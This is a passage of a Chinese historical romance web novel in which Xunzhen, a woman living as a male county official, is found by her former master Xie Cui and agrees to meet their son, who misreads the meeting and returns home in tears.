潘竞站在田边,朝她招着手。 寻真想立刻跟别人分享自己的喜悦。 她大声“欸”了一声,朝潘竞的方向跑去。 潘竞注视着她。 寻真穿了身灰袍,前摆撩起,随意地系在腰上,两只裤管都卷起来,叠在膝间,因为奔跑,其中一只裤管滑落下去。 她笑容异常灿烂,露出一排洁白的牙齿。 笑得像个孩子似的。 潘竞也不禁被她的快乐感染,微笑起来。 寻真赤脚奔跑着,手攥着稻穗,高高举起,冲他晃了晃。 嘴里高声喊道:“子尚!子尚!” “我成功了!” 寻真跑到潘竞面前,正要向他展示手中这串饱满的稻穗,余光瞄见不远处有一人,那身影极为熟悉,心中莫名一紧,咯噔了一下,视线越过潘竞向后望去。 完全呆住了。【魔蝎小说 mo xie xs .c om】 120-130 第121章 第121章“从前……我”…… 潘竞顺着寻真的视线,朝后望去,“缮之!” “你怎来了?” 潘竞也才收到谢漼被任命苏州刺史的消息,还盘算着等手头的事儿忙完,就去找他叙叙旧,没料到他这么快就来找自己了。 潘竞往前走了几步,脚步一顿,转身看向寻真,道:“竞舟,那是咱们苏州新来的刺史,走,一起去打个招呼。” 寻真只觉一道灼灼目光投来,压力扑面。 寻真心中忐忑,垂下头,走了几步,发现自己没穿鞋,匆匆折返田间,拿起那双布履,随便拍了拍脚丫子上的泥,穿上鞋后,再将系在腰间的衣摆放下。 谢漼和潘竞在不远处交谈,潘竞抽空回头看了一眼她,招了招手,示意她快点。 寻真磨蹭了一会儿,过去了。 她怎么也没想到,会在这样的情景下与谢漼再见。 太突然了。 寻真有点懵,大脑一片空白,等回过神,已站在潘竞旁边。 潘竞瞅瞅谢漼,再瞅瞅寻真。 然后手背到寻真后面,扯了扯她的衣服,提醒她喊人。 寻真这才如梦初醒,抬头,飞快瞄了眼谢漼:“刺史大人。” 谢漼的视线落在她身上,没有作声。 潘竞:“缮之,还没恭喜你呢。你来了苏州,往后有你罩着,我这心里可是踏实多了。” 谢漼只嗯了一声。 潘竞又瞧了谢漼一眼,心想,这状态不对劲啊。 三人准备回县衙,可只有两辆马车。 潘竞便直接安排道:“竞舟,你与我一道坐吧。” 潘竞话音刚落,寻真便感觉一道目光直直投来,头皮一阵发麻,指了指前方树边拴着的马,道:“我身上这般脏污,不宜同行,我先归家一趟,沐浴更衣。刺史大人、县尊,您二位先请,下官随后就来。” 潘竞:“嗯,也好。” 寻真行了一礼,朝着马走去。 马车中,谢漼掀开帘子,望着寻真骑马远去的背影。 她纵马疾驰,袍角高高扬起,在风中猎猎作响。乡间小道尘土飞扬,马蹄踏过,尘土弥漫,她那瘦小的身影渐渐隐没在尘土之中,变得朦朦胧胧,越来越小,直至消失不见。 这六年来,一直都是如此场景。 眼睁睁看着她在自己面前消失,他却无能为力。 可这回,却不再是幻觉了。 谢漼久久地望着寻真消失的方向,直到那片尘土也消散殆尽,他的目光依旧停留在那里。 回到县衙后,谢漼和潘竞二人叙旧。 潘竞明显感觉到谢漼心不在焉,时不时敷衍地“嗯”一声。潘竞心里明白,也不好多说什么,毕竟甄善美和缮之那小妾实在太像,多提一嘴,只会让他想起伤心事,不如当作不知道。 寻真下了马,神情恍惚走进屋子。甄凌正在浇花,看到她回来,唤了一声。可寻真像是没听见,眼神呆滞,径直往前走。 甄凌忙放下手中的水壶,跑过去,担心问道:“怎了?发生什么事了?” 寻真在骑马回来的路上,已将利弊权衡了一番。 现在她和谢漼,不就跟分手的前任没两样吗? 她诈死也不是故意骗他,是形势所迫,是为自保。 而且她跟谢漼毕竟没有决裂,应该……多少还是有些旧情的吧?她想着,若是坦诚地跟谢漼解释清楚,他应该会理解的。 她现在很适应这份工作,在这个小县城过得简简单单、快快乐乐。 这样的日子,已很完美了。 所以,她不能逃避,要直面。 等会儿去县衙,找机会跟谢漼约个时间,单独好好谈一谈吧。 寻真深呼出一口气,看向甄凌,决定还是不把这件事告诉她,免得让她跟着担惊受怕,睡不好觉。 寻真道:“没事,就是累着了。” 寻真手里还攥着那根稻穗。 看着手中稻穗,这种饱胀的喜悦、满足感,是别的任何东西都不能带给她的。 也正好借此机会,跟谢漼彻底说开吧。 不过,寻真提醒自己 ,不要自恋。 没准人家早就忘了她,已经有了全新的生活呢。 寻真很快收拾好,赶去县衙了。 踏入县衙大门时,还是有些紧张。 环顾四周,许是因为刺史来了,县衙里的官吏们各司其职,待在自己的位置,都没出来乱晃,整个县衙安静得有些异常。 到知县廨找潘竞,只见他一人在屋内。 寻真问道:“刺史大人呢。” “刚走。”潘竞留意到寻真脸上闪过一丝失落,问,“怎了?你找他有事?” 寻真:“是我方才仪容不整,让刺史大人见笑了,所以想着去向他赔个不是。” 潘竞:“放心吧,他不会在意这些的。对了,还没跟你说,这新来的刺史是我多年好友……人家也就比你我大一岁,就当上刺史了。厉害吧?” 寻真点了点头,附和道:“是很厉害。” 散衙后,寻真牵着马,沿着河畔走。 日暮时分,河畔的风带着丝丝凉意,夹杂着河水的湿气,扑面而来,风中还携着淡淡的草木清香。 寻真心想,还好有心理准备,没自作多情。 都六年了,谢漼估计早就把她忘了。 况且前年在京都时,不也听说了吗,他要再婚了…… 心底不可避免地涌起一丝失落。 寻真一路走着,沉浸在自己的思绪中,浑然不知身后有一辆马车在悄悄跟着。 驾车的永望,在寻真转身后,看清了她的脸,瞪大眼睛,震惊不已——那不是姨娘吗?! 永望脑子飞速运转,瞬间明白了,怪不得昨日爷见了承安后,便急忙赶来了这里。 永望恍然,原来,姨娘便是那个甄善美! 之前永望查到甄家兄妹的事时,还有些心虚,不知该如何向爷交代,虽疑点重重,但女扮男装还考中功名,这事儿听起来实在太离奇。他怎么也不信那两个凶手有这资质。 看见是姨娘,一切都说得通了。 爷当年可是督着姨娘读书的! 马车里传来谢漼低沉的声音:“走吧。” 永望朝着寻真走进的小院望了一眼:“是。” 谢漼住在城中的客栈。 夜里。 谢漼眼前一片漆黑,始终无法入眠。 回想起那日,他赶路回京,入住一家荒郊客栈。 原来那夜,他与她,仅一壁之隔。 那时他躺在床上想了什么呢。 想着她,盼着见到她。 若她还未收到信,想来见到我时必定惊喜……这般心驰神往着,他入睡了。 心底深处隐隐泛起一阵刺痛。 谢漼想了很多,很多。 不被信任,是他自食其果。 想到最后,不过一句,活着就好。 清晨,淅淅沥沥下起了小雨。 整个昆山县被拢在烟雨中。细雨如丝,敲在黛瓦上,滴滴答答、错落有致地响着。河畔,碧绿的河面上泛起圈圈涟漪。 河岸边的青石板,被雨水濡湿,染成黛青色,凹处积着水,倒映出被水洗过的天空。 朦胧的雨幕中,青石板路的尽头,出现一位白衣男子。 男子执一把油纸伞,缓缓行来,衣袂飘动着,细雨落在白衣上,慢慢晕染开来,似是水墨画中不经意间洇出的墨渍。 寻真将小竹椅放到门槛前,坐下,双手托着腮,打了一个哈欠。 “今日不上值,怎这么早就醒了?” 甄凌蒸的馒头熟了,蒸笼的盖子一揭开,馒头的香味顿时四溢开来。 甄凌拿了一个馒头放在盘子里,递给寻真。 寻真又打了个哈欠,道:“……雨声有些吵,等雨停了,再睡个回笼觉。” 寻真吃着馒头,赏雨景。 细雨霏霏,云雾缭绕。 到底是烟雨江南啊,寻真来苏州五年了,依旧看不腻这样的景色。 甄凌在正堂清扫着,听见寻真哼起了小曲儿,停下动作,侧耳聆听了一会儿,忍不住问道:“哥哥唱的是什么曲儿?……真好听。” 寻真:“我也忘了……很久很久以前听过的。” 甄凌扫完正堂,进里屋了。 寻真啃着馒头,嘴里哼着小曲,脚尖有一搭没一搭地打着节拍。 这时,院外传来三声清脆的叩门声。 咚咚咚。 这个点,是谁来了? 寻真心想,这么早,应该不会是潘竞。 又想,甄凌跟邻里关系很好,常互赠吃食……应该是邻居吧。 寻真四下望了望,未瞧见伞,雨不大。寻真便将馒头搁下,抬起手,双手遮着头发,跑去开门。 木门吱呀一声打开。 门外男子手持一把淡青油纸伞,一身素袍,袍角和发尾微微湿润,立在她面前,垂眸静静瞧着她。 他眸中似含着濛濛烟霭,像被雨打湿的江南。 时间仿佛凝滞了。 寻真定了定,好一会儿才回过神,手脚都不知该往哪儿放。 “你……先进来吧……” 寻真抬步往前走,雨淋在头上,寻真抬起手遮,下一秒,雨被伞挡住了。 寻真脚步一顿,与谢漼并肩往里走去。 进了屋檐下,谢漼收了伞,在檐下抖着水。 寻真见他一侧肩头明显被雨水浸湿了。 谢漼突然出现,让她一时有些手足无措。 寻真伸出手:“那个……给我吧。” 谢漼抖落了水,把伞给她。寻真将伞架在墙边。 “哥哥,是谁来了?” 甄凌手持笤帚,从里屋走了出来。待看清来人的脸,笤帚“啪”一声掉落,惊愕地睁大眼,嘴巴张着,半晌说不出话来,呆在原地。 寻真抓了抓头发,回头看了一眼谢漼,早知谢漼要来,该提前告诉甄凌,好让她有个心理准备。正想着让甄凌进屋,她好与谢漼单独聊聊。 下一刻,只听“扑通”重重一声。 甄凌已在那儿跪好了。 寻真忙跑上前,硬是把甄凌拉起来了,凑近她耳边,低声道:“……你先进去,没事。” 甄凌抖着腿,瞅了一眼谢漼,颤着声:“……可是。” 哪怕跟着寻真做了快两年的官员家眷,甄凌潜意识里,依旧觉得自己的身契在谢府手中,谢漼还是她的主子。 这观念,一时半会调整不过来。 甄凌被寻真拉到里屋去了。 寻真抚着她的背,见她惊慌失措,安慰道:“没事,别怕,我一会好好跟他说,一定能把这事儿解决的。” 甄凌欲言又止。 寻真:“你一会就别出来了,没事,有我。” 寻真走出里屋,与谢漼的目光对上,心紧了紧,指了指会客的塌,“你……先坐一下吧,我去泡壶茶来。” 寻真平时休沐在家,武岳偶尔会来,潘竞更是常客,县衙的官吏们在年节时也会互相走动,她特意买了些好茶,用来招待客人。 寻真泡好茶,走进正堂。 门槛前,她停住脚步,目光落在谢漼身上。 谢漼打量着屋内的一切,目光缓缓扫过每一个角落,细致地看着。 似乎这样,便能拼凑出她这些年生活的点点滴滴。 谢漼见她来了,在会客榻上落座,寻真斟了两杯茶。 在他对面坐下。 屋内静谧,唯有窗外淅淅沥沥的雨声。 谢漼先开口了:“这些年,过得如何?” 夜深人静时,寻真也无数次在脑海中设想过与谢漼重逢的场景。 想象了许多场景,或是剑拔弩张,又或是泪眼相对。 却唯独没想到,会是这样一个宁静的雨天。 这般平和,这般云淡风轻。 看来“吐血三升”一定是谣言了。 寻真:“我挺好的……你呢?” 谢漼注视她片刻,垂眸,拿起几上的茶杯,浅啜一口,道:“我亦是。” 窗外的雨逐渐停了,云层散去,天空被雨水洗过之后,湛蓝无垠。 往远处望去,村落许多人家,都升起炊烟,或浓或淡。 冷场了。 寻真在脑中梳理了一遍思绪,暗暗吸一口气,开口道:“刺史大人。” 谢漼抬眸,凝视着她。 寻真见他眸色平静,没什么情绪。 谢漼这态度让她心里没底,但为了自己的小命,还是得说。 寻真再度开口:“刺史大人,您也看到了,我如今已是昆山县的县丞了,您能不能,看在、看在……” “看在我们以前的交情……刺史大人可否当做不知?” 谢漼沉默不语。 寻真心里更虚了,声音不自觉地带上了一丝急切:“我走到现在,从未被人识破,自是有万全的准备,只要您不说,便无人知晓。” “哪怕真有万一,我也会一力承担所有责任。” “从前的身份,我绝口不提,决不会连累您。” 谢漼看着她,缓缓道:“自然。” “凭我们以前的交情,这般小事,不足挂齿。” 听谢漼这么说,寻真悬着的心落了地。 她起身,作揖行礼:“多谢刺史大人。” 谢漼走时,苏小蝶从后院走来,看着谢漼离去的背影,好奇地问一旁的甄凌:“方才是谁来了?” 寻真再三安慰,说谢漼已答应她,会当做不知情,但甄凌仍心有余悸,缓不过来:“……是哥哥的同僚。” 谢漼次日便返回了苏州城,一进刺史府,便唤人取来炭盆。 走入正房一侧的小房间。屋内只有一方灵位台,中央立着牌位,上面的字迹苍劲有力,是谢漼亲手所刻。牌位前,放着两个烛台,供品有糕点、水果和鲜花,旁边还摆着一些簪子、步摇之类的女子饰品。 下人将炭盆端来,放在地上,便退出去了。 谢漼的目光在牌位上滞了一瞬,随后,他大步上前,将牌位掷在地上。 谢璋听闻谢漼回来,跑着来找他,没在外面瞧见人,听见一声重物落地的闷响,谢璋循声找去。 恰好看见,谢漼捡起地上的牌位,一旁放着炭盆,谢漼那手势,明显要将牌位丢到火盆里去。 谢璋急了,连“爹”都没顾得上喊,小炮弹一样冲了过去,用力将谢漼推开了,大声喊道:“你干什么!” 第122章 第122章“强忍” 谢璋将牌位捡起,拍拍去上面的灰尘,而后抱在怀中,仰头问谢漼:“爹方才想做什么?” 对上谢璋的眼睛,谢漼喉咙像被什么哽住,不知该如何向恒哥儿解释。 见谢漼沉默,谢璋心中有了答案,眼睛睁圆了,眼里带上一抹控诉,脸上写满了不敢置信:“爹怎能这样……”尾音带着哭腔。 谢璋抱着牌位,走出去了。 人还活着,怎能供奉牌位? 如今这情形,即便告诉恒哥儿,他娘还在人世。 她也无法与恒哥儿相认。 当然,也不能一直瞒着恒哥儿。 此事,还需从长计议。 至于牌位,便也只能放一放。 恒哥儿那性子,既让他发现了,必定时刻盯着,若谢漼强行处理掉牌位,反而会引他心生埋怨。 谢漼这边还在思索如何解决这一难题,谢璋那边则抱着牌位回到自己房间,难受了一晚上。谢璋把牌位放在自己房间的桌上,白日里一直惦记着,时不时就跑回房间看上一眼,生怕谢漼趁他不注意给烧了。 经此一事,谢璋不再像从前那般与谢漼亲近,整天小脸板着。 谢漼看在眼里。这小子,是怨上他了。 寻真本以为与谢漼那次交谈后,便算结束了,没想到过了两日,寻真刚打开门,一封信从门缝掉下来。 信封上一片空白,打开后也不见署名。 寻真一眼便认出了,这是谢漼的字。 上面只写着一句话:【五日后至,商要事。】 五日后,正好她休沐。 谢漼要跟她商讨什么? 这封信搅得寻真上值时不在状态,潘竞瞧出了异样,问她是不是身体不舒服。寻真打起精神,努力让自己专注,很快到了休沐日。 前一日晚,寻真又没睡好,梦里画面纷乱,全是她以前在谢家生活的片段。导致第二日早早醒了。 寻真打着哈欠出来觅食。 甄凌随口问了一句:“昨日又没睡好吗?” 寻真从蒸笼里扒拉出两个包子,“嗯,谢漼今天要来。” 甄凌手上的动作停下。 寻真:“等会你跟小蝶也说一声,叫她不要出来。” 甄凌迟疑片刻,还是忍不住问:“他……可是想要与你重修旧好?” 寻真一顿:“应该……不是。” 门扉被叩响时,寻真立刻摆了摆手,示意甄凌进去。 甄凌担忧地看了她一眼,寻真比着口型:“没事,进去吧。” 待甄凌进屋,寻真上前开门。 谢漼依旧是一身素净长袍,头发束玉冠,身姿笔挺地立在门前。 寻真侧身让开,谢漼进来,她放下门闩。 寻真:“走吧。” 谢漼向前走去,寻真望着他的背,那日见,她便感觉谢漼变了很多。 是哪里与以前不同呢。 寻真将茶壶放在几上,倒了两杯,见谢漼拿起茶杯,喝了几口,没有开口的意思,便直接问:“您信上说,有要事相商,是什么事?” 谢漼放下茶杯,双手搭在膝上,微微侧头看她:“你可还记得恒哥儿?” 这话什么意思? 寻真揣摩着谢漼话中的深意,谢漼这意思,该不会是……想让她跟谢璋相认吧? 寻真脸上浮现为难的表情。 想了想,还是委婉拒绝:“大人,以前的柳氏已死。” “过去的人和事,都与她再无关了。” 谢漼凝视着她,幽邃的目光中似涌动着什么。 寻真跟他对视着。 谢漼:“恒哥儿以前少不更事,惹你不快,皆我之过。” “他五岁便逢母丧,自此懂事,至今思念着你。” “即便你心中对他无母子之情,我也须让他知晓你尚在世间。” “你可愿与他见上一面?” 寻真犹豫着。 谢漼:“恒哥儿如今已很乖了,断不会再像从前那般肆意胡为。” “我自会叮嘱他,叫他绝不能把你的事宣扬于人前。” “你尽可安心,我了解恒哥儿,他定守口如瓶。” 寻真:“……那好吧。” 又确认道:“只见一面就可以了吧?” 谢漼沉默地注视她。 寻真心里直发毛,这么看着她干什么。 搞得自己好像做了什么十恶不赦的事。 寻真:“那……他什么时候来?” 谢漼:“我会传信给你。” 寻真:“好。” 聊完谢璋的事,谢漼便起身告辞。 寻真看着谢漼的背影,想到了一点他与以前的不同之处。 谢漼身上,没有香味了。 甄凌出来后,问:“你们说了什么?” 寻真:“说了谢璋,他想让我们见一面。” 甄凌眼中闪出惊喜,期待地问道:“恒哥儿?” “恒哥儿什么时候来?” 寻真瞅了她一眼,叹了口气。 倒也不是完全排斥。 只是那小孩真的很难相处啊。 甄凌自知道恒哥儿要来后,便忙里忙外,跟苏小蝶一起,将整栋房子好好打扫一番,准备了许多吃食,还总问寻真恒哥儿什么时候到。跟寻真的心情形成鲜明对比。 谢漼回去后,进了谢璋房间。 谢璋正在案前练字,见谢漼进来,只是淡淡地瞥了一眼,没叫爹,继续专心写自己的字。那牌位被他放在左边桌角,谢漼走过去了,小身子瞬间紧绷起来,连忙放下毛笔,一把将牌位抓在怀里。 谢漼看着这一幕,心里暗叹。 谢漼:“恒哥儿,这是跟我气上了?” 谢璋撅了撅嘴,没有说话。 谢漼已想到一个说辞,能暂时将恒哥儿瞒过去。 恒哥儿一直以为他娘转世了,如今正好可以顺着他的想法往下说。 不过说起来,恒哥儿竟在梦中得知她在南方。母子之间或许真有感应吧。 谢漼:“恒哥儿可知我为何想烧了这牌位?” 谢璋抿着嘴,委屈道:“……我怎知道?” 谢漼:“那是因,我已找到你娘的转世。” 谢璋的眼睛瞬时亮了起来,连问三句:“爹找到娘的转世了?” “真的?” “爹没有骗我吧?” 谢漼心道,可算是愿意唤爹了。 “爹怎会拿这事骗你?” “不然我为何要烧这牌位?” “她仍在世间。生而立牌,活人受供,乃是不祥之举。” 谢璋的胸膛上下起伏着:“娘在哪里?” 谢漼:“她在昆山县。” “恒哥儿莫急,我自会带你去见你娘,只有一事,我得提前告知你。” 谢璋:“何事?” 谢漼开始给他打预防针:“你娘既已转世,这一世,你们的母子缘分便已尽了。” “如今你对她来说,已是陌生人了。” “若她不愿认你,莫要伤怀。” 听到这话,谢璋的眼睛暗了下去。 谢璋耷拉着脑袋,许久,才问谢漼:“……我不能叫她娘了,是吗?” 谢漼有些心疼,摸了摸他的脑袋,应了一声。 谢璋虽心里难受,但还是接受了这个事实。 “好。” “那我何时能见她?” 谢漼:“再过几日便带你去。” 谢璋点了点头。 谢漼伸出手,去拿牌位,谢璋连忙抱紧了,目光警惕。 显然是还没完全信他的话。 谢漼道:“恒哥儿,爹方才不都与你说了,生者享祀,是犯忌讳的。” 谢璋:“等我见到娘,再给你。” 很快,寻真便收到了消息,谢漼会带着谢璋在她下一个休沐日来。 谢璋知道了出发的日子,日日殷切期盼,脸上也有了笑。未料事出意外,父子俩出发当日,苏州城外三十里,突发盗匪劫掠,形势十分严峻。行程不得不暂行搁置,谢漼迅速调配人手,传下命令,先调集城中全部衙役、捕快过去,再派人快马传讯驻军,前去剿匪。 谢璋满心期待了许久,没想到被这场变故拦住了脚步,但见谢漼整宿忙着对付盗匪,他也不好多说什么,只能自己生闷气。 就这样过了七日。 谢漼道:“爹眼下无暇分身,恒哥儿可愿自己一人过去?” 谢璋毫不犹豫:“好,我自己过去!” 谢璋从未独自出过远门,谢漼不放心,便将府中武艺高强的人都拨给他,让永望带着他去昆山县。 寻真也收到信,得知苏州城外遭盗匪袭击,他们被绊住脚步,见面时间另行安排。 谢璋独自一人出门,没有丝毫害怕,一路上反倒兴奋不已,等永望告知已到昆山县,他便时不时掀起车窗帘,好奇地向外张望。 娘的转世便在这里生活了…… 也不知,娘如今变成什么模样了。 到了客栈,永望将床铺收拾好。 谢璋道:“永望,你今日便带我去见娘吧。” 永望:“恒哥儿,小的还未去传信呢,还得问问,她何时有空。” 谢璋:“那你先带我去看一眼,我远远地瞧一眼就行,保证不打扰她,好不好?” 永望便带谢璋去了,马车停下后,永望给他指了指,一处临水小院。 “那便是她的住处了。” 谢璋探头望去,看不到人,于是按捺不住下了车,走到小院门口,掩在一棵树后,往里望去。 那门虚掩着。 谢璋又小心翼翼地走近,放轻脚步来到门前,从门缝往里瞧。 还是看不到人。 烤肉的香味钻进他的鼻子。 谢璋听到了三个人的声音,隐隐约约的,似乎还有孩子的声音。 此刻,寻真和甄凌、苏小蝶正在院子里做烧烤,苏晓被放在一旁的婴儿摇车里,咿咿呀呀地哼唧着。寻真吃完了,便去逗小孩。 苏晓躺在摇车里,眨着一双水汪汪的眼睛,可爱极了。 寻真将她抱起来。苏晓已认识她了,主动贴过来,靠在她胸前,脸蛋软乎乎的。 “晓晓怎么这么可爱呀。” 寻真忍不住低下头,亲了一口苏晓的脸颊。 “……哥哥!” 甄凌忽然唤了寻真一声。 寻真转过头:“怎了?” 视线掠过门口。门不知何时被人推开了,门外站着一个小男孩,那脸孔莫名熟悉。 寻真抱着苏晓,与小男孩对视了好几秒。 小男孩什么话都没说,转身走了。 寻真愣住,那是……谢璋? 永望坐在马车上,见谢璋回来了:“恒哥儿,可见到……”还没说完,看到谢璋的神情,便把话咽了回去。 谢璋双手紧紧攥成拳,一步步朝他走来,垂着眼。 仔细看着,分明忍着泪呢。 这是怎了? 可是姨娘不肯认恒哥儿? 谢璋一言不发地爬上马车。 永望问:“恒哥儿,咱们回去了?” 车厢内传来闷闷的一声“嗯”。 苏小蝶疑惑问道:“刚才那小孩是谁?是大人认识的人么?” 她心想,瞧着那孩子,倒有几分像县丞大人呢。 寻真:“……应该是走错了吧。” 回了客栈之后,谢璋把自己关在房间里。永望不放心,多次敲门,问谢璋要不要用饭,谢璋每次都说不要,还不让他进去。一个时辰后,谢璋终于出来了,手里拿着一个包袱,自己将东西收拾好了,对永望说:“永望,我想回去。” 永望瞅着谢璋眼神灰暗,像是遭了极大的打击。 “恒哥儿若是要回去,不如今晚睡个好觉,明早再走?” 谢璋摇摇头:“我现在就走。” 谢漼听说谢璋回来了,有些惊讶,按行程算,怎么也得再过一两天才能到,这是一到昆山县便折返了。 发生什么事了? 谢漼从大堂出来,往门口走去。 马车停在州府衙门门口,小男孩从马车上跳下来,直直往里走,肩上挎着一个小包袱,包袱里装着些女子首饰。每回谢漼买饰品,谢璋也会挑一些。这次去见寻真,便都带上了。 谢璋两手垂在身侧,紧紧攥着拳头。 待看见谢漼,加快了脚步。 回来这一路上,谢璋都强忍着,可当走到谢漼面前时,再也忍不住了。 他仰头看着谢漼,大颗大颗的泪珠从眼眶滚落。 瞬间哭成了个泪人儿。 第123章 第123章“谁的孩子?”…… 谢漼温柔地问:“怎了?” 谢璋手中的包袱“啪”一声坠落在地,喉咙像被堵住,一个字也说不出来。他抬起双手,抱住了谢漼,脸埋进他的衣服里,肩膀抖动,抽噎声被他极力压制着,喉中漏出时断时续的吸气声。 谢漼拢住谢璋,掌心顺着他的肩头,一下又一下,缓缓地抚着。等谢璋的情绪稍稍缓下来了,才拉着他进屋,拿帕子给他擦脸。 谢璋的哭声渐渐止息,胸膛仍时不时地抽动,两只眼睛湿湿的,睫毛上沾满了泪水,看上去可怜极了。 谢漼问:“发生什么了?” 谢璋声音沙哑,带着浓重的鼻音,只吐出一句:“她不是我娘。” 谢漼又问:“恒哥儿与她见到了?” 谢璋:“嗯。” 谢漼:“她如何对你了?” 谢璋抿着唇,没有回答。 谢漼心道,定是发生了什么事。 果然不该让恒哥儿独自前去。 恒哥儿把事情搞砸也不是头一回了。 谢漼怎么问,谢璋都不肯说,等谢璋情绪稳定下来,谢漼便命人将他送回刺史府,然后唤来永望问详情。 永望:“小的只见着恒哥儿去门口瞧了瞧,很快回来了,也不知到底有没有见着人。” 应是看见了什么。 晚上回去,谢漼走进谢璋的房间,见他躺在床上,双手抱着那个牌位。 谢漼走过去,坐在床边:“恒哥儿,待盗匪一事了结,为父便要再去一趟昆山县,你可还想与我一同去?” 谢璋抱着牌位的手紧了紧,摇摇头。 谢漼:“如今你娘还在世,恒哥儿反倒不愿见了?” 谢璋:“她不是我娘。” 谢璋的脸贴在牌位上,似乎是被谢漼的话勾起了伤心事,眼睛又湿了。 谢漼:“恒哥儿可否告诉我,你看见了什么?兴许有什么误会呢?” 谢璋还是不肯说。 谢漼不再追问,待此事了结,他去找她,到时便可知晓究竟发生了什么。 谢漼集结兵力,从当地百姓口中探知了盗匪的巢穴所在,制定围剿计划。 官兵将盗匪重重包围,考虑到盗匪未曾杀害百姓,只是掠夺了钱财,谢漼便没有下令歼灭,而是派人劝降。承诺只要盗匪将百姓的钱财全部退还,归顺朝廷,便会予以宽大处理。 此时,便需派能言善辩之人前去劝降。 谢漼的目光从众属吏脸上扫过,问道:“谁愿去?” 众属吏纷纷躲他的视线,一时间,堂内鸦雀无声。盗匪皆是凶狠剽悍之徒,若稍有差池,盗匪被激怒,很可能会暴起伤人。 须臾,范岂上前道:“府君,我愿前往。” 谢漼:“好,长史此去,务必多加小心。” 谢漼派了两名府兵与范岂一同前往。 一个时辰后,范岂出来,毫发无损,脸上如释重负:“府君,幸不辱命。” 招安盗匪后,盗匪将抢来的钱财尽数归还,若有不足的部分,便由朝廷补贴一些。在盗匪中,挑选出身体强健的,编入地方军队。其余的,则分配土地,或是安排他们参与公共工程建设,比如修筑堤坝,以工代赈。 同时,谢漼安排军队加强巡逻,以防再有盗匪为祸。 处理好所有后续事宜,谢漼动身去昆山县。 临行前,谢漼去看了谢璋。 谢漼:“我这便出发见你娘,你可要与我一同去?” 谢璋躺在床上,仍抱着那牌位。 听到这话,他那小眼神瞟过来,又迅速收了回去,摇摇头。 谢漼:“真不愿去?” 谢璋闷闷地嗯了一声,下巴搁在牌位上。 仿佛那牌位才是他娘。 谢漼:“既然恒哥儿不愿,我也不强求了,那我便一人去了。去问问你娘,那日到底发生了何事。” : 谢璋垂着眼,没有说话。 寻真因为谢漼,多次婉拒潘竞、武岳他们想要来家中串门,或是相约出游的邀请。几次被拒后,潘竞一脸纳闷:“竞舟近日到底在忙些什么?叫你一道去爬山,你不应。我想去你家中坐坐,也不让。” 寻真:“许是前些日子收稻累着了,难得休沐,就想在家好好歇着。” 潘竞相信了这个说辞:“早便劝你雇些人手帮忙,你却偏要亲力亲为,这下可好,把自己累坏了,也不知何时才能将身子调养回来。” 果然,这个休沐日谢漼就来了,寻真暗自庆幸,还好拒绝了潘竞。 第三次来,谢漼已很自如了,寻真放下门闩,往后拉了拉,确认锁好后,一转身,瞧见谢漼已迈入正堂,在榻上坐下了。 寻真:…… 寻真:他怎么跟回自己家似的…… 寻真泡好茶,为谢漼斟上一杯,谢漼看着她的手,而后视线挪到她脸上:“你可见到了恒哥儿?” 原来他来是为问这个。 寻真点了点头。 谢漼:“你与他说了什么?” 寻真:“我还没来得及跟他说什么呢,他就走了。” 谢漼:“他来时,你在做何事?” 寻真回想着,指了下院子:“我当时正在院中烤肉吃。” 谢漼:“除此之外呢,还做了什么?能否事无巨细地说与我听?” 谢漼问这么细。 寻真有些莫名,但还是细细讲述起来,那天傍晚,瞅着天色挺好,便在院里架了烤具,烤肉吃,因下午零嘴吃多了,早早吃饱了,便起身溜达,消消食,顺便逗逗孩子…… 话还未说完,谢漼打断了她。 谢漼:“谁的孩子?” 这语气透着几分怪。 寻真:“……小蝶的。” 谢漼:“她又是何人?” 之前谢漼来时,寻真都会让小蝶待在后院,不要出来,故谢漼从未见过她。 寻真指向后面解释:“小蝶住在后面……就是,先前有个案子……” 寻真将案子的来龙去脉讲给他,由于这案子曾闹得沸沸扬扬,谢漼也有所耳闻。 “……这就样,我便让她住到我家了。” 寻真说得口干舌燥,拿起茶杯一饮而尽,又给自己倒了一杯,像是想起什么,脱口而出:“对了,这小蝶还曾在谢府做过活,以前在你的院——” 戛然而止,寻真意识到自己多嘴了。 上次已跟谢漼表明,过去的人和事,都与她再无关,她怎还主动提起“谢府”了?寻真顿时有些尴尬。 谢漼看着她:“可是你以前误以为我要将她打杀,还为她求饶的那个?” 他记性挺好。 寻真:“嗯,是她。” 谢漼点了点头,原来如此。 拿起茶杯,啜饮一口,果然如他所料。 恒哥儿以前便是这样,碰上她,平日里灵活的小脑瓜便转不动了。 是误会就好。 谢漼:“恒哥儿见了你,回来之后,伤心至极,哭了许久。” 谢璋……哭了? 寻真:“他怎会哭?” 谢漼看着她一脸无辜的模样,心中感叹,不愧是母子,这表情是从一个模子里刻出来的。 谢漼:“还能为何而哭?” “自是误以为你有了别的孩儿,他一时承受不住,便连夜赶回来了。” 寻真茫然状。 谢漼:“我早同你说过,你一直不信。” “恒哥儿对你极为孺慕,以前便常向我央求着要见你……他心中是极渴望与你亲近的。” “你可还记得他生辰那日?那时,他将你送他的玉佩打翻,并非厌你,是因听承安说,你在他生辰前一日才去买礼,恒哥儿以为你心里没他,一气之下才打翻了,后来知你还为他亲手雕了玉佩,心中不知有多悔。” 寻真不知道该怎么回答,沉默着。 谢漼正要开口,院外传来敲门声。 “甄善美!甄善美!” “快开门,我给你带好酒来了!” 潘竞怎么来了? 寻真看了眼谢漼。 谢漼正盯着她,那眼神意味不明。 谢漼的目光携着无形压力,寻真纠结了一下,开口:“要不你先从后门走,我们改日再谈?” 谢漼就那样注视着她。 无声的拒绝。 寻真又指了指里屋:“那要不你在里面等一会,我先应付完潘竞?” 砰砰砰! 敲门声愈发急促,一声重过一声。 “竞舟竞舟!甄善美!” “快开门!” 谢漼依旧没回,寻真解释道:“我已跟他说过了,我今日一整天都在家中休息。便不能当做人不在。” 谢漼终于开口,只问:“潘竞可知你是女子身?” 寻真:“当然不知。我先前不是说过了吗,我走到现在,从未被人识破,除了甄凌,便再无他人知晓我是女子。” 谢漼的视线在她脸上转了一圈,随后站起来,往里屋走去。 寻真大喘了口气,跑去外面开门。 潘竞拎着酒:“你睡着了?我喊了这么久,才来。” 寻真:“嗯……睡得有些沉,我妹妹和小蝶都出门了。” 潘竞并未注意到她神态的不自然,径直往里走,将酒坛放在案上,目光一扫,瞧见榻上的茶盏,咦了一声,问:“……有谁来过了?” 寻真赶紧上前收拾:“我也不太清楚…许是方才有人来过,我妹妹招待的吧。” 寻真又重新沏了一壶茶。 